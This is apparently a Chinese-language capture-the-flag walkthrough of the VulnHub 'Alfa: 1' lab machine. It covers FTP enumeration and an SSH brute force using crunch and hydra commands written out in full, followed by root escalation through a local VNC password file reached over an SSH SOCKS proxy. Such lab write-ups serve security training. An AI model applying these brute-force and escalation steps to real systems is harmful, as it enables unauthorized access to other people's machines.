当前位置:网站首页>Alfa: 1 vulnhub walkthrough
Alfa: 1 vulnhub walkthrough
2022-08-02 03:25:00 【xdeclearn】
信息页:http://www.vulnhub.com/entry/alfa-1,655/
关键字:Enumeration | Web Application | Brute Force | Privilege Escalation
0x01 端口扫描
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
65111/tcp open unknown
0x02 获取第一个flag
使用anonymous访问ftp,获取到名为milo.jpg的图片。
访问80端口,通过目录遍历,在页面http://192.168.56.157/alfa-support/中得到提示信息:
于是利用之前图片名通过crunch构建密码字典,hydra爆破得到密码milo666。
[email protected]:~$ crunch 7 7 -t milo%%% > 1.txt
Crunch will now generate the following number of lines: 1000
[email protected]:~$ hydra -l thomas -P 1.txt ssh://192.168.56.157:65111
[65111][ssh] host: 192.168.56.157 login: thomas password: milo666
利用ssh登录,得到第一个flag。
0x03 获取第二个flag
获取shell后一顿常规操作,比如suid,sudo,crontab,备份密码文件等,都以失败告终,反过来回到开始的地方,在用户目录中有一个敏感文件.remote_secret。
同时进程中存在vncserver。
估计上述密码文件是用来登录vnc的,但是由于vncserver仅限本地登录,所以这里使用ssh做了socks5代理,在kali下利用vncview加载密码文件实现了root权限获取,得到了第二个flag。
边栏推荐
- When PHP initiates Alipay payment, the order information is garbled and solved
- js 之 Object.defineProperty()
- 数组的高级操作
- AES加密的各种蛋疼方式方式
- easyswoole uses redis to perform geoRadiusByMember Count invalid fix
- (7) 浅学 “爬虫” 过程 (概念+练习)
- Turn trendsoft/capital amount of Chinese capital library
- 4. The form with the input
- (3) 字符串
- Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
猜你喜欢
随机推荐
js 中this指向
(1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符
如何根据地图上的两个坐标点来确定方向
2.PHP变量、输出、EOF、条件语句
TypeScript error error TS2469, error TS2731 solution
(2)Thinkphp6模板引擎**标签
1.8今日学习
Stable and easy-to-use short connection generation platform, supporting API batch generation
Query the indexes of all tables in the database and parse them into sql
Phpstudy安装Thinkphp6(问题+解决)
[phpunit/php-timer]一个用于代码执行时间的计时器
hackmyvm: juggling walkthrough
Eric靶机渗透测试通关全教程
uniapp | 开发中遇到的兼容性问题(待续)
vim编辑模式
Dom实现input的焦点触发
js的“类数组”及“类数组转数组”
PHP8.2的版本发布管理员和发布计划
JS objects, functions and scopes
每日五道面试题总结 22/7/19








